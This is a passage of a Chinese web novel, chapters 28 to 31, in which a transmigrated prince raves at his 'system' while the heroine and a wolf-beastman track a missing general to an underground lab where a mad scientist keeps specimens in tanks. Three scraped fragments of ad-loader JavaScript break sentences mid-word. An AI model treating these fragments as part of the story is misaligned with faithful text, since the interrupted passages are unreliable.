有人帮她遮掩痕迹,二皇子的人查到现在也没有查出来她到底去了哪里。 “可恶!可恶!” 二皇子猛地把书桌上的文件扫落,眼神发狠,“一定要把人给我找到!不然,他们也不用回来了!” “秦天海这个没有用的东西!查了这么久也没有发现人就在眼皮子底下!把他最近的业务全给我拦截了!” “是。”随从官心惊胆战地记下,替秦天海默哀一秒钟。 秦家依附二皇子而活,没了二皇子的准许,他家里惨了。 “你出去!” 二皇子冷眼一扫,随从官立马垂头弯腰退出去。 等人走了,二皇子上前锁好门,又把窗帘拉好,才低声喊道:“系统!” “嗯。” 半空中凭空出现一个字,像是在回应二皇子。 “你不是说弄死秦宥我就能稳坐帝位了吗!为什么现在又冒出个刺杀我的人!他到底是谁!!” “秦宥没死。” 二皇子冷笑,“我知道他没死!但他名声尽毁,就算回来了也没有用!” 系统原形是一抹白色的东西,看不清是什么,只知道周身白光刺眼,而它平时也不会显出原形。 二皇子看不到它,心里更烦,“我要是死了,你的任务就完不成了!” 他恶狠狠地看向半空中的屏幕,威胁道:“你得跟我同归于尽!” 系统绑定他的时候说了,一旦绑定无法解绑,除非百分百完成任务。 宿主死亡系统也会消亡,二皇子不怕系统不管他,但他很烦,本来因为胜券在握,没想到又冒出个人来要杀了他。 最可怕的是,这个人能徒手躲过军团最强的能量炮,这样的人想要杀他,几乎是瞬间的事! 想到前两次的刺杀,他瞳孔发颤,要不是系统,他早死了两回了! 他心里又急又慌,提高声音,“还不把这个人的资料调出来!” 系统也很烦,它仅有的资料里根本就没有这个人出现,但这种话它不会跟二皇子说。 它对二皇子的说法是,“能量不足,无法提取目标资料。” “我#你#的!”二皇子拎起身旁的椅子摔向屏幕,“你当初把我从现代拐来的时候可不是这么说的!!” 听到这话,躲在暗处的徐袅眯了眯眼睛,攥紧了手指。 她和二皇子一块长大,说不上关系好,但也算熟悉,可是五年前开始,他就像变了一个人似的。 徐袅对他早有疑心,一直提防着,但再怎么也没有想到,他竟然是借尸还魂! 28. 不爽 “凡走过必留痕迹。” 谢烟雨看完一号递过来的木穹星全景图,对保镖头子道,“你带人,去这几个地方问问,一月内是否有生人出现。” “是。”保镖记下地名,点了几个人跟着自己离开。 谢烟雨带着余下的人去订好的地方休息。 “几位是从外地来的吧?”给他们办理入住的是一位美貌的中年女子,笑得亲切,“是来做什么的啊?” 谢烟雨不语,她就笑道,“真是不好意思,来我们这的外地人不多,我见着你们就有些好奇。” 语罢,她不再问,把谢烟雨等人的身份证明递还回去。 站在她身侧的一号接过老板递来的东西,垂眸看了眼,确认无误后朝谢烟雨点头示意。 谢烟雨带着他们上楼,并没有注意到他们走后,老板的脸上的笑意减弱,余光落在大厅内正在吃东西的一帮人身上。 “不过是个中等星球来的,看这架势大得很,还以为是什么高等星球的人呢!” 她提高了声音,略带不屑地道。 听到这话,正在喝酒的几人抬起了眼,余光扫过她,又看向对面的兄弟。 几人对视一眼,脸上露出心照不宣的笑意。 谢烟雨等人的房间并不挨在一起,办理入住后,谢烟雨刚放下东西,房门就被敲响。 开门一看,是隔壁的一号,“我可以进来吗?” 谢烟雨让开位置,“怎么了?” 一号进来时顺势锁上了门,他径直走到窗户旁,向外看了两眼。 木穹星街道上尽是荒凉,乍一眼看过去几乎连活物都没有。 一号扫过底下的所有建筑物的位置,又看了眼远方成片的树林,收回视线关好窗户,“这里有异种,太危险了。” 谢烟雨嗯了一声,自然危险,不然她也不会带这么多人过来。 她走到一号跟前,朝他身后的窗户看了一眼,“你刚刚发现了什么?” “没有发现什么。”一号掩下心底那抹奇怪的熟悉感,“晚上我留在你这里,可以吗?” 谢烟雨愣了一下,意识到他的意思是要贴身保护自己,有一瞬间的怔然,紧接着很快点头,“好。” 一号眼睛微亮,唇边多了一抹笑意,他说:“我会保护好你的。” 谢烟雨见他开心,也笑了下,“好。” 谢烟雨去洗漱,一号站了会,又打开窗看了一眼,没有发现什么不对劲。 正要关窗,突然一顿,视线移到了大街上的巨大雕塑上,良好的视力让他得以窥见那抹灰黑色的衣角。 顿了顿,一号收起视线,锁好窗户,走到柜子旁拿出备用四件套铺在地上,这是他晚上休息的地方。 等谢烟雨出来,他已经铺好了,正闭着眼假寐。 谢烟雨以为他累了,放轻脚步,一号却仍旧睁开了双眼,眼底清明没有一丝睡意,“这店不对劲。” 谢烟雨擦头发的手微顿,抬眼看向一号,“什么意思?” “有人在盯着我们。”一号指了指窗户,“我们上来时,楼底下坐着几个人,其中一个穿着灰黑色的衣裳,跟盯着我们的人很像。” 一号等她时已经把这个发现告诉了保镖们,众人整装待发,并没有休息的意思。 谢烟雨思考片刻,“木穹星人少,休息的地方更少,这是好不容易找到的一家店。” “你们有把握吗?”在有能力自保的前提下,谢烟雨并不想离开,这里是离大战最近的地方,也是秦宥最有可能出现的地方。 一号眼也不眨地看着她,闻言点头,毫不犹豫,“当然。” 他一个人就能把下边的人解决了,何况还有那些保镖在。 夜逐渐深了,谢烟雨点了晚饭,没一会老板便亲自送了上来。 老板笑盈盈地走进来,一边说话一边不着痕迹地打量四周。 房间里只有谢烟雨一个人,这跟黑子说的不一样。 她心里起了警惕,脸上却仍旧笑着,给谢烟雨介绍自己放在桌子上的汤菜,“这是我们这里的特色菜,您尝尝,要是喜欢呐,我再给您做!” “谢谢你。”谢烟雨点点头,站在她三步开外的地方。 大开的门正对着走廊,能够看见外边的情景,外面很安静,只有灯光底下的风铃晃晃悠悠地发出清脆的声音。 谢烟雨看了眼外面,走到桌子旁坐下,“这里晚上都这么安静吗?” 老板笑道:“这边没什么人来,你们是第一次来这里的外乡人。” “是吗?”谢烟雨点头,实则一个字也没有相信。 谢父比她早出发,也定然早到,他既然来了不可能不来这里。 老板却说没见过其他生人,明显说谎。 “是啊!”老板兴致勃勃地想要说话,但见谢烟雨神色淡淡,好似没有什么兴致,便住了嘴,“您慢用,有什么事就喊我。” 等她走出去关好门,脸上的笑意消失殆尽,她快步下楼,拐弯走进厨房,“这些人起疑了,晚点再行动。” 黑子不解,“饭菜里下了东西,吃了他们绝对被药晕!” “蠢货。”老板伸出手指点他的额头,带着恨铁不成钢的味道,“她们起疑了!自然不会吃我们的东西!” 黑子被戳得生疼,却不敢躲开,委屈地应了一声哦。 老板挪开视线,眼不见心不烦,“这短时间生人不少,查清楚到底是为什么来的了吗?” 她看的是正在啃肉肘子的一个大块头,那人把嘴里的肉嚼吧嚼吧咽下去,摇头,声音浑厚,“不知道。” 老板又看向他身旁瘦得似乎只剩下一把骨头的男人,“瘦子?” “听说是有什么大人物失踪了。”瘦子抢过大块头手里的肉塞进嘴里,一边吃一边含糊不清地说,“街头的老乞丐说的。” “这么说,上午那老头也是来找这个大人物的了?”老板皱着眉,不去看他粗鲁的吃相。 瘦子:“应该是吧。” 大块头抢不过他,有些烦躁地挠了挠头,“说起来,那老头跟这个女孩长得挺像的。” “确实诶!”黑子插嘴,“但是那老头带着一帮军团里的人,看起来就不好惹,肯定来自高级星球,这人不是中级星球的吗?” 老板闻言眉头皱得更紧,她闭了闭眼,企图忍下戳他额头的欲望。 但终究还是没有忍住,一边戳一边骂道:“你个猪脑子!知不知道世界上还有个东西叫做作 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 假!” 黑子被她戳得额头发红,眼里冒出眼泪,小跑着躲在大块头身后。 大块头嘿嘿笑两声,阻止老板的动作,“姐,别骂了,黑子从小脑子就不好使。” “你脑子也不怎么好使!”老板呸了一声,余光扫到瘦子,又骂了两句,最后道:“别去招惹这波人了。” 她说:“她们发现我们不怀好意还不走,想来是有把握打过我们,还是算了。” 黑子从大块头身后探出头,“可是,我们快没钱了啊......” “钱重要还是命重要?”老板又想骂人,好歹忍下了,“就这样,听我的,伺候好这帮人,说不准能多拿点钱。” 黑子哦了一句,委委屈屈地看着她快步离开,扯着大块头叹气。 瘦子从一盆肉里抬起头,“叹什么气,快来吃,好不容易才找到的一只异种,吃完这个又得饿几天了。” “姐吃了没?”黑子拿起一块肉,刚想塞进嘴里,想到了什么,问。 瘦子吃得头也不抬,大块头亦然,“姐不吃这些,你又不是不知道。” 黑子哦了一声,其实他也不想吃,但他怕自己饿死了。 他啃着肉说:“那我们吃完去找点姐喜欢吃的东西吧,隔壁星球又往坑洞倒东西了,我们去找找,说不准能找到些好东西!” 一号站在屋顶,听完这场对话,眉头蹙起,几个跳跃翻回房间,顺便给保镖们发消息,让他们不要吃店里的东西,但是可以休息了。 谢烟雨坐在床头看地图,听见窗边轻响抬起头,“回来了。” 一号应了一声,走到她身边,三言两语把老板四姐弟说的话告诉谢烟雨。 谢烟雨听见他们吃异种,有瞬间的诧异,随后蹙眉。 她从来没有来过低级星球,原来低级星球的居民已经走投无路到要吃异种才能活下去了吗? 异种对于他们来说,是恶心的敌人,但在低级星球的居民看来,却是难得一见的荤腥? 谢烟雨胃里有些不舒服,她不由得看向桌子上没有被动过的饭菜,目光触及那一碟子肉时,眉头蹙得更紧。 一号给她倒了杯温水,“喝点。” 谢烟雨喝了一口,压下反胃,“既然他们不准备动手,那就先住着吧。” 她看向一号,“你也休息,明天还有事情要做。” 两人关灯休息。 谢烟雨躺在床上,看向窗外。 外边漆黑一片,不像帝都,路边都是明亮的路灯,这里黑得只能借坠在天空的月亮照明。 一号闭着眼,注意力却全在谢烟雨身上。 谢烟雨没有睡,她安安静静地躺着,似乎是以为他睡了,小心地翻了个身,伴随着低不可闻的叹息声。 一号眉梢微动,他明白谢烟雨在想什么,但他好像什么也做不了。 他不由得想,要是秦宥,那个所谓的帝国第一上将,说不准能提出些改善低级星球居民生活的建议。 想着想着,他猛地睁开了眼。 纵然是在黑夜,他的视力仍旧能看清床上鼓起的一团,于是他眼底的不爽又消了下去,重新闭上了眼睛。 都是做生意,这种东西问谢烟雨他哥应该也可以。 29. 意外 第二天一早,谢烟雨等人下楼出门。 老板看见后忙从屋内出来,“哎呦,几位这是去干嘛呀?” 她瞅了眼一号拎着的东西,鼓鼓囊囊的,该不会是不住了吧! 这可不行! 连忙走过去,不着痕迹地拦在谢烟雨跟前,笑着道:“不吃点东西再出门?” 谢烟雨顿了顿,带着光脑的手腕往前,在她的光脑上碰了一下。 老板一顿,下意识地抬起手腕,看自己使用痕迹明显到极致的光脑。 她们姐弟四个,都靠这么一个光脑吃饭,要是没了光脑,钱都收不到了! 幸好幸好,没给碰坏,她心下一松,正要说话,瞅见谢烟雨那一碰给的转账后瞪大了眼睛,“这、这这是......” “我们下午回来,准备点吃的,不要肉。”谢烟雨说不要肉时看向老板。 老板明显感觉到了她加重的语气,脸上的笑容僵了僵,抬眼望进她的眼底,却没有看见什么负面情绪。 谢烟雨只是单纯地不想吃异种,但别人吃,她也不会傻到去说你们别吃了之类的话。 老板愣了一下。 谢烟雨赶着和保镖头子汇合,对她点点头后,带着人绕过她出去了。 老板脸上的表情缓缓收回,她看了眼光脑上显示的余额,又抬头看向谢烟雨的背影,转身回屋里。 屋里的瘦子看她脸色异常,下意识站起身,目光警惕地看向门口,“姐,发生什么事了?” 老板没有回答,走到椅子上坐下,点开光脑,把余额给瘦子看。 瘦子眉头皱着,垂眸看向光脑,紧接着一愣,“姐,你偷偷去抢她们了?” 老板:“……” 她们怎么想的谢烟雨不知道,她刚找到保镖头子,后者神色疲惫,看见她后显露出几分羞愧。 “小姐,您说的地方我们都去问了一遍,但是没有找到。” 另一个说:“他们似乎有些排斥生人,不太愿意跟我们说话。” 谢烟雨点头,昨天和老板聊天的时候她就预想过这种可能,她没有说什么,让忙了一晚上的保镖头子等人去休息,自己带着人准备再走一次。 保镖头子进店时,和一个瘦高瘦高的男人擦肩而过,他侧头看了眼,和队友跟他说的瘦子对上号。 他面上毫无变化,余光注意着瘦子前进的方向,眉头一凝,办理入住时给一号发了消息。 一号看见消息,凑近谢烟雨小声道:“瘦子跟着我们。” 谢烟雨点头,唇瓣轻启,声音低不可闻,“嗯,让他跟着,说不定有别的收获。” 一号心底了然,垂眸时多了几分笑意,他关掉光脑,并没有挪远。 两人靠得很近,身后的保镖都露出了几分诧异的目光,而谢烟雨好似完全感受不到,任他走动间手臂蹭到自己的。 一号眼底的笑意更加明显。 谢烟雨抬手揉了揉发热的耳廓,强迫自己把心思放在找人这件事上。 她和秦宥都不喜欢对方,等一切尘埃落定,就和平退婚,她也可以去找找自己,以及……珍惜眼前人。 暮城是木穹星最大的一个城镇,也是秦宥最后出现的地方。 谢烟雨顺着地图,去标记的地方问了一遍。 最后一个地点是靠近树林的一户居民家,屋子主人察觉到她们的来意后,立刻把在外边的老人小孩扯进屋子里,关好门窗。 谢烟雨扫了一眼站在窗边目光警惕的男主人,想了想,还是没有过去。 她走向墙角的一个老乞丐,一号见状,从包里拿出点吃食递过去,老乞丐立刻抓起来往嘴里塞。 老乞丐不知多久没有洗澡,身上的跳蚤在阳光下四处游荡,成团打结的头发耷拉在脑后,隐约可见有什么动物在里头爬动。 谢烟雨看了眼便收回视线,“老人家,请问,最近有看到什么跟我长得很像的人来过这里吗?” 老乞丐头也没抬,摆手就道:“没有。” 谢烟雨叹着气站起身,“还以为能找到人呢,看来悬赏50万的大鱼确实不好抓。” 老乞丐进食的动作微顿,很快恢复如常,像是什么都没有听见。 谢烟雨扫了眼仍旧紧盯这边的男主人,对一帮不明所以的保镖说:“走吧,今天再找不到,就准备返航。” 保镖们:“是。” 他们看不懂谢烟雨的操作,但是应和还是会的,谢烟雨一个眼神,他们就立刻跟上。 一号走在最后,他的听力比常人好上许多,只要他想,就能听见他想听到的东西。 比如,以为他们走远后,老乞丐停下咀嚼,抬起头看他们而产生的细微声音以及瘦子迟疑着转身离开的动静。 一号跟着谢烟雨走到了一个僻静的地方,他扫了眼四周,确认无人且安全,才上前,“他起疑了。” 谢烟雨并不在意,50万对于这里的人来说是一大笔钱,是值得去冒险的巨款。 这是她今天给老板钱的时候看出来的。 她昨天就考虑过,自己找人的可能性几乎为零,所以要不跟着第三军团的人,要不跟着谢父。 两者相比,跟着谢父显然价值更大,万一找到了人,她能知道并通知第三军团过来抢人,就算找不到,她也能了解谢父下一步行动,用以提防。 谢烟雨等人在这块地方暂作休息,一边等瘦子和老乞丐甚至男主人有所反应,一边吃东西补充体力。 这一等就到了晚上。 漆黑的夜笼罩街道,把隐藏在黑暗的东西掩盖得更加彻底。 保镖头子带着人找到谢烟雨汇合,他们借夜色遮掩身形,所有东西都背在了身上,已然不打算再回那家店。 谢烟雨将人分成几波,呈包围圈围住盯着的三人。 到了某个时间点,老乞丐率先动了。 他颤颤巍巍地站起身,柱着不知道从哪得来的木棍子,一步一步地往前。 谢烟雨脚步较重,怕被发现,一号将其搂住,抱着她往前,好久没有出现的狼耳冒了出来,在冷风中打了个抖,轻颤着。 谢烟雨手指动了动,把视线落在老乞丐身上。 一号垂眸看她一眼,她眼也没抬,全神贯注地看着老乞丐的背影。 一号扯了扯嘴角,收回了狼耳。 两人跟着老乞丐带来一个灯光昏暗的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 场所,里面的人不多,但看起来都比较有钱。 老乞丐蹲坐在灌木丛后边,搓着手,哈了口热气,眼神没有离开过大门。 谢烟雨靠在一号怀里,他身形高大,把风牢牢挡住,一点冷意都没让她感受到。 谢烟雨看了眼不再动的老乞丐,又去看屋子里头。 黑夜中的灯光显得格外明亮,她透过窗户,能清晰地看见里头谈笑的人们。 他们手腕上带着光脑,眼里没有愁苦,脸上带着些许笑意,嘴上说着什么,时不时拿起杯子喝上一口里面的液体。 “像是个酒吧。”谢烟雨说。 一号看得比她更清楚,能清晰地看见杯子里液体的颜色,“是酒吧。” 这种液体,一号还挺眼熟的,但他想不起来什么时候见过,便没有说出来。 谢烟雨不太相信这是谢父会来的地方,可她刚刚收到了其他两组人的消息。 瘦子没有出门,男主人倒是出来了,但走了一半又倒了回去,现在已经来回第三次了。 谢烟雨等了会,等到了他的最新信息,【我们现在在一个类似于酒吧的地方,上面的标志是一个奇怪的……心脏?】 谢烟雨抬头看了眼,确实有个奇怪的图案。 她看消息时没有屏蔽一号,一号一低头就能看见全部消息,自然也看见那条说图案的。 他抬起头,看了一眼酒吧顶上的招牌,不是亮色的,因为夜晚看不大清形状,周边轮廓确实是一个心脏的模样。 总觉得在哪里见过。 一号皱着眉,刚想说话,就被谢烟雨拉了拉手腕,“有人出来了!” 一号带着她闪进一旁更加黑暗的地方,离出来的人很近,还能看见老乞丐的所有动作。 只见老乞丐扫了眼出来的人,坐着没有动弹,只低低地说着什么,看起来像是冻坏了。 出来的是个男的,听见声音脚步微顿,侧头看过去,看见一团漆黑的东西蹲在角落,嘴里念念叨叨的,吓了一跳,骂骂咧咧地走过去,踹了老乞丐两脚。 老乞丐哎呦哎呦地叫唤着,直起身子想躲开,一下没站稳歪了身形,吓得男的倒退几步,暗骂晦气。 等他离开后,老乞丐晃晃悠悠地坐回刚刚的地方,掏出刚摸到的光脑点开,快速浏览了一遍,发现并没有自己想要的信息后皱起眉。 他四下一看,把光脑扔在地上,快步离开。 谢烟雨和一号对视一眼,正要跟上去,酒吧内传来喧哗声,紧接着,一号和谢烟雨手上的光脑同时震动。 跟着男主人的保镖头子带着人跟到了酒吧后边的街巷,往里走伸手不见五指,而男主人越走越快。 保镖头子感觉不太对劲,停下脚步想跟谢烟雨汇报,编辑好消息正要发送,一个东西兜头套下,眼前瞬间一黑。 他下意识地摁下发送键,同时屏息听外边的声音。 跟着他的几个人全部被偷袭,不过他惨一点,直接被装进麻袋,其余几个见打不过很快跑了。 “该死的!” “别追了,赶紧把人送过去!” 保镖头子正要细听,突然脖颈一痛,什么也不知道了。 30. 熟悉 谢烟雨和一号赶过去时,保镖头子以及行凶的人早已消失不见。 谢烟雨眉头皱起,眼底染上担忧,“他们往哪边去了?” “往西边那面树林去了,速度很快。”一个额头受伤的保镖说,“十三跟着。” 他们或多或少负了伤,因为记着谢烟雨不能硬拼的话,出事第一时间就联系了她和一号,并让隐匿本事最厉害的同伴跟了上去。 话音刚落,在场所有人的光脑都震了一下。 十三一边跟一边实时汇报线路,因为不知道谁会被派来救人,他干脆一键发送。 谢烟雨低头看了眼,就这么会功夫,人已经进树林里了。 紧接着,又是一条消息,是乱码,十三被人发现了! 谢烟雨目光一凝,看向一号。 她知道一号是兽人,可以通过气味追踪人,在失去目标的情况下,想要救人只能一号去。 谢烟雨心里有了决断,对头部受伤的保镖说:“你带着人回先前那家店休息,注意安全,我和一号去救人。” 保镖立刻反驳,“小姐,这太危险了,您......” 谢烟雨没有听,打断道:“如果三天内我们仍旧没有出来,你们立刻联系李叔,他会告诉你们怎么做。” 一号是除了秦宥以外唯一一个能让任务进度条上涨的人,谢烟雨不可能让他一个人去冒险。 一号对她的决定向来没有任何意见,见她说完,就把手中正在嗅味道的那帮人拿过的棍子扔在地上,准备带着谢烟雨离开。 谢烟雨接过保镖递来的包裹,朝一号伸手。 一号牵过她搂住,几个跳跃便消失在了保镖们的视线之内。 凉风冻人,一号怕谢烟雨冷,将她的脸轻摁进怀中,“我要提速了。” 他声音很轻,迎面来的风很大,谢烟雨没怎么听清,但能感受到他说话时透过骨头传出来的震动,便应了一声。 在保镖面前一号没有显出兽形,现在远离了他们,就能安心变幻模样增加速度了。 眨眼便进入了树林,林中树木密集,高耸入云,抬眼望去,清冷的月光也被染得有几分怪异。 加上林间动物不少,各类叫声尖锐凄惨,远处还有异种的嘶吼声,种种异样,似乎都在诉说这个林子里的可怖。 谢烟雨不错眼地盯着周围,总觉得有被人盯着的不适感。 她对暗处的视线敏感,而这种感觉随着一号越往深处走就越明显,她压下眉眼,在那种感觉再一次出现的时候扯了扯一号的衣服。 后者一对狼耳竖了起来,不动神色地抬手摸了摸谢烟雨的发顶,眼睛微眯,侧头仔细听声音的来源,随后在一个拐弯时猛地掰断树枝,对准暗处的人扔出去。 他速度极快,暗处的人根本没有反应过来。 树枝穿透皮肉,发出细微的声音,监视他们的那双眼睛的主人悄无声息地倒下了。 一号用手背蹭了蹭谢烟雨的发顶,没有说话,但谢烟雨奇异地明白了他的意思,这是在说他把人解决了,不用害怕。 随后两人一路通畅无阻地来到了林间深处。 一号没有把谢烟雨放下,而是抱着她在周围转了个圈,“气味最后消失在了这里。” 谢烟雨看了眼四周,跟刚刚经过的地方没有什么不一样,非要说哪不一样,大概就是这边更加安静,安静得似乎只有她和一号的呼吸声。 但这恰恰是最怪异的。 树林里不可能安静得连什么声音都没有,除非这里有个大家伙,吓得其余的动物都不敢过来。 这也说明,他们没有找错地方。 谢烟雨把目光落在最中间的那棵需要几个成年人手拉手才能环抱住的老树上。 她还没开口,一号已经走了过去,伸出手开始摸索,很快摸到一处不对劲的地方,用力一摁,不远处的地皮轰隆作响,开了个大大的口子。 一号走过去,鼻尖耸动,“在里面。” 谢烟雨嗯了一声,“走吧。” 她话音一落,一号就跳了进去,他对这个地方有天然的熟悉感,凭借直觉一路摸索进去,连机关都没有触发。 谢烟雨默不作声地待在他怀里,看着缓慢上涨的进度条,又去看一号,搂着他脖颈的手渐渐收拢。 一号和秦宥的任务相关,谢烟雨曾经怀疑过,他是那消失数万名所谓的被坑杀的士兵的其中一员。 可是,现在看着什么都没有干的一号,以及缓慢上升到20%的进度条,她开始有些不确定了。 不等她多想,一号停下脚步,带着她闪身躲进黑暗中。 谢烟雨抬起眼,她感觉一号换了只手抱她,下一刻,得了空的那只手捂住了她的口鼻。 一号屏息凝神,没有注意到怀中谢烟雨看了他一眼,那目光有些复杂,说不清到底是什么意味。 很快,谢烟雨的注意力也被迎面走来的两人吸引。 是两个男人,他们眼底闪着亮光,压低的语气里带着兴奋,“也不知道最近怎么了,很多生人来我们这。” “可算是让我大赚了一笔!”他得意地说着,看了眼身旁没有说话,但一只恭维地看着他的人,“放心,你是我兄弟,出去了,定然分你一半!” 那人脸上的笑容扩大,压低的声音里透着同样的兴奋,“谢谢哥!” “嗯!哥看重你,也拉你一把,这种好事我可只跟你说了,你可千万别告诉别人!不然就别怪我不客气!” “自然自然!不过,哥,既然那人这么有钱,我们为什么不……”他做了个抹脖子的动作。 被他喊哥的人猛地扯下他的胳膊,四处一看,压着心慌骂道:“你懂个屁!你没看他上次要的都是军团里的?也不想想是不是我们惹得起的!” 他骂道:“别废话!赶紧走!” 等他们走后,一号和谢烟雨从暗处走出来。 上次要的都是军团里的人? 最近出现在木穹星的军团除了谢父还有第三军团,谢烟雨心中一凛,正要给苏铭发消息,被一号压下。 她用眼神询问,后者没有说话,只是摇了摇头,并把她的光脑点开让她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 关机。 谢烟雨照做,一号抬起手摸了摸她的发顶,藏在黑暗中的一双红眸泛起些许笑意,让他把心底升起的莫名燥意勉强压了下去。 从进入这个地方,他身上的骨头就开始发疼,每一块都在用力诉说着恐惧。 一号没有记忆,自然不怕,但身体本能地不想前进。 谢烟雨注意着他,自然发现了,她伸手摸了摸一号的额头,摸到了一手冷汗。 两人贴在一块的地方也被汗打湿,变得粘腻,一号拥着她的手越发用力,甚至在颤抖。 谢烟雨意识到不对劲,“我们走。” 一号这种情况,他们并不适合再待下去,她掰开一号的手轻跳下来,脚落地的瞬间就被一号重新抱进怀里。 他声音暗哑,“危险。” 谢烟雨安抚地拍了拍他,拉着他的手将自己挣脱出来,并牵住他往回走。 她记住了来时的路。 一步一步,每一步都跟一号来时走的一样,没有引起任何机关。 一号跟着她身后,额前的碎发已经被冷汗打湿,他抬手抹掉,拉停谢烟雨,“我们回去。” 来都来了,他得弄清楚自己为什么会变成这样。 就想他不会质疑谢烟雨的决定一样,谢烟雨发现他说得认真之后也没有强行带着他走,只是问:“你确定?” 一号点头。 他的骨头仍在疼,但似乎减轻了不少,他握着谢烟雨带着凉意的手,缓解心中因为不明情况升起的燥意。 他脑海里像有什么东西在叫嚣,很吵,吵得他眉头紧皱。 决定不离开后,一号和谢烟雨小心地把这个地方都逛了一遍,摸清了监控的地方以及存在的机关。 一号越走越觉得熟悉,谢烟雨越发沉默,她握紧了一号的手。 两人走到了一扇门前,一号三两下捣毁装置,两人走进去,看清里头的状况后皱起了眉。 这里放置着巨大的玻璃柜,里头倒满了绿色液体,有几个人泡在里面,眼睛紧闭,看不出死活。 一号大步过去,敲了敲玻璃柜,里头的人受到惊吓,仿佛从噩梦中惊醒,猛地睁开了眼。 谢烟雨看得分明,这一帮人中,其中一个是谢父! 她下意识松了口气,还好不是第三军团的人被抓了进来。 谢父带来的都是二皇子的心腹,死了…… 谢烟雨没有想下去,看向一号。 一号发现人还活着,本来想去找把人救下来的法子,但看清谢父后停了下来,侧头看向谢烟雨。 谢烟雨脸上没什么表情,于是一号明白了,他把绿色液体排放了一些,让里头的人能够露出口鼻呼吸,然后就拉着谢烟雨准备离开。 这里没有他们要找的保镖头子。 谢父看见谢烟雨时有些诧异,但很快眼前一亮,等一号开始排放绿色液体后更是死死盯着他。 但他的口鼻刚露出来,能呼吸到玻璃柜中混浊的空气时,一号拉着谢烟雨准备离开。 他瞬间明白,他们并不打算救他! 31. 记忆 让他们能够呼吸,这是谢烟雨对其他人的一丝温柔,能不能逃出去,就看他们自己的了。 谢父想明白后,有种被背叛的屈辱感,他游到玻璃前,嘴里的话被水流吞噬,他抬起手,用力地砸向玻璃。 绿色的液体震荡,淹没他的鼻息,他呼吸一窒,表情狰狞。 没有什么利益比他活着还重要!谢父屏着呼吸捶打玻璃,嘴唇蠕动,在说些什么。 他试图引起谢烟雨的注意,但谢烟雨头也不回,大门被关上,灯灭了,巨大如囚笼的玻璃柜重归黑暗。 与此同时,走廊深处的一间实验室里,红色灯光亮起,刺耳的警报声穿透整个地下实验室。 一号眼眸颤动,下意识地挡在谢烟雨身前,有什么画面在脑海里一闪而过,速度太快他什么也没抓住,徒增燥意。 谢烟雨握住他比自己还冰冷的手,“别怕。” 她的声音在警报声中显得微弱,但一号还是捕捉到了,他用力地抱了一下谢烟雨,松开后拉着她往走廊深处跑。 而实验室里,正要去抓人的白胡子老头见状嘻嘻一笑,重新在椅子上坐下,盯着监控的双眼泛出异样的亮光。 “我最完美的实验品啊!”他语调怪模怪样,带着感叹道,“你终于回来了,那么……就乖乖地接受主人的赠予吧!” 他拍下身前的红色按钮,脸上激动到抽搐,“哦!我已经迫不及待了!!” 他紧紧地盯着监控里的一号,见他快速躲过所有机关,脸上的笑更是克制不住。 他站起身转了两圈,嘴里念念叨叨着什么,大门被一号一脚踹开的瞬间,他猛地抬起眼,脸色欣慰。 他看着一号,像是在看什么不听话的孩子一般,“一号,你终于回来了,我很想念你。” 白胡子老头张开手,提高声音,“来,一号,回归主人的怀抱吧!” 谢烟雨皱了皱眉,终于明白一号这个名字的由来了。 所以,一号以前也被泡在那个玻璃柜里,接受眼前这个不太正常的人的实验吗? 谢烟雨看向白胡子老头的眼神带了冷意,她握住一号的手,不着痕迹地打量四周。 这是一件设备极其齐全的实验室,不远处的实验台附近躺着一个眼熟的人,正是保镖头子,地上晕着一个十三。 要找的人都在这里了。 谢烟雨侧头看一号,一号面无表情,对白胡子老头的话无动于衷,但只有他身侧的谢烟雨知道,他抓着自己的手有多用力。 一幕接一幕的画面在脑海中闪过,什么都看不清,但一号痛得冷汗直流。 他强撑着才没有倒地,已经顾及不到手上的力度了。 谢烟雨被他抓得发疼,却眉头也没皱一下,抬手揉了揉他的脑袋,试图缓解他的情绪。 两人行为亲密,眼里只有彼此,完全忽视了白胡子老头。 张着手的白胡子老头从喉咙中发出呵的声音,眼神变得狠戾,“一号!是我把你创造出来的!” 他扫了眼谢烟雨,冷哼一声,“还不快过来!不然,我就把你的骨头拆下来,在水里泡上个三天三夜!” 一号一个哆嗦,像是想起了什么极致可怕的事,谢烟雨的手几乎被他抓得变形。 谢烟雨有些疼了,她抽出一号不知何时抓着的一块木板,毛糙的边角刮得她手生疼。 她捏紧,用尽力气掷向白胡子老头,声音发冷,“闭上你的臭嘴!” 白胡子老头脸色发黑,双手一张,八根长毛的长肢撑破后背的衣物冒出,在空气中张牙舞爪。 谢烟雨扔过去的木板被其中一根长肢捅破甩到一边。 他看也没看谢烟雨,眼神依旧紧紧地盯着一号,目光湿冷,“一号,你还不过来吗?” 谢烟雨抓紧了一号的手,扯着他要往后退,却突然感觉后脑勺一凉。 她下意识回头去看,发现白胡子老头的一根长肢不知道什么时候悬在了她脑后,正试图穿透她的脑袋。 谢烟雨瞳孔一缩,正要矮身躲过,就见一只变成利爪的手从她身侧探出,抓住长肢狠狠一掰。 血肉伴随着白胡子老头的哀嚎飞溅到谢烟雨脸上,她却顾不上,抬头去看一号。 一号眼神格外冰冷,抬手将谢烟雨护在身后的动作却很轻柔。 谢烟雨心下稍安,安静地待在他身后,眼神不住地往实验台看。 久病成医,试验台上放着的药剂她粗略一扫就认出大部分,恰巧她还知道什么和什么混合会产生什么反应。 她松开了抓着一号衣角的手,往黑暗中迈了一步。 一号感受到了她动作,身形微顿,压下把她牵回来的欲·望,掀起眼皮看向白胡子老头。 他的一双眸子染上鲜血后变得更红,丝丝缕缕的狠意在其中滋生。 片刻后,一号完全兽化,发出一声长啸,在谢烟雨退至黑暗的一瞬猛地扑向白胡子老头。 “一号!”白胡子老头被激怒,张开的七根长肢直直地冲向一号,他眼神阴冷,“不听话的实验品就该泡在水里清醒!” 他右手抓起什么一摁,身后的那扇宛如墙的门轰隆作响,渐渐被打开,露出里头的玻璃展柜。 每个展柜等人高,里面充满绿色液体,泡着各式各样的动物。 谢烟雨还见到了几只被宣布灭绝的动物,手指不由得攥紧了。 最中间的地方,放着一个最大的玻璃展柜,展柜下方被贴了一个硕大的标签:一号。 